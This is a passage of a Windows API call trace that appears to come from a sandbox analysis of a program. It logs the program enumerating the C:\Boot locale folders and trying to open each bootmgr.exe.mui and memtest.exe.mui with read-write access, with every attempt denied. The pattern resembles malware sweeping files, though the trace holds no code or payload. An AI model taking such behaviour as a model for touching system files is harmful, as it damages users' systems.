ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0144.944] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0144.945] GetProcessHeap () returned 0x990000 [0144.945] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.945] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.947] GetProcessHeap () returned 0x990000 [0144.947] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.947] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.947] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.947] GetProcessHeap () returned 0x990000 [0144.947] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.947] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.948] GetLastError () returned 0x5 [0144.948] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.948] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.948] GetProcessHeap () returned 0x990000 [0144.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.948] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0144.948] GetProcessHeap () returned 0x990000 [0144.948] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.948] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.949] GetProcessHeap () returned 0x990000 [0144.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.949] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.949] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.949] GetProcessHeap () returned 0x990000 [0144.949] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.949] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.950] GetLastError () returned 0x5 [0144.950] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.950] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.950] GetProcessHeap () returned 0x990000 [0144.950] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.950] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0144.950] GetProcessHeap () returned 0x990000 [0144.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.950] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.951] GetProcessHeap () returned 0x990000 [0144.951] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.951] GetProcessHeap () returned 0x990000 [0144.951] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.951] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.951] GetLastError () returned 0x5 [0144.951] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.951] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.951] GetProcessHeap () returned 0x990000 [0144.951] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.951] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0144.951] GetProcessHeap () returned 0x990000 [0144.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.952] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.952] GetProcessHeap () returned 0x990000 [0144.952] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.952] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.952] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.952] GetProcessHeap () returned 0x990000 [0144.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.952] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.953] GetLastError () returned 0x5 [0144.953] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.953] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.954] GetProcessHeap () returned 0x990000 [0144.954] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.954] GetProcessHeap () returned 0x990000 [0144.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.954] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.954] GetProcessHeap () returned 0x990000 [0144.954] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.954] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.954] GetProcessHeap () returned 0x990000 [0144.955] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.955] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.955] GetLastError () returned 0x5 [0144.955] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0144.955] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.955] GetLastError () returned 0x5 [0144.955] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0144.955] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.955] GetProcessHeap () returned 0x990000 [0144.956] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.956] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0144.956] GetProcessHeap () returned 0x990000 [0144.956] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.956] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.959] GetProcessHeap () returned 0x990000 [0144.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.959] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.959] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.959] GetProcessHeap () returned 0x990000 [0144.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.959] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.959] GetLastError () returned 0x5 [0144.959] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.960] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.960] GetProcessHeap () returned 0x990000 [0144.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.960] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0144.960] GetProcessHeap () returned 0x990000 [0144.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.960] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.960] GetProcessHeap () returned 0x990000 [0144.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.960] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.961] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, 